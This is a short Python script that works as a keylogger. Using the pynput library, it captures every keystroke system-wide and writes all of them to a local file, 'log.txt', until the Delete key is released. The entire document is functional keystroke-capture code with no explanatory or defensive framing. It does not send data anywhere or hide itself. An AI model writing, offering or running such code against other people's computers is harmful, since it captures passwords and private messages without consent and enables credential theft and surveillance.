import pynput
from pynput.keyboard import Key, Listener


keys = []


def on_press(key):
  keys.append(key)
  write_file(keys)


def write_file(keys):
  with open('log.txt', 'w') as f:
    for key in keys:
      #removing ''
      k = str(key).replace("'", "") 
      f.write(k)
      #explicitly adding a space after every keystroke for readability
      f.write(' ') 


def on_release(key):
  if key == Key.delete:
    return False


with Listener(on_press = on_press, on_release = on_release) as listener:
  listener.join()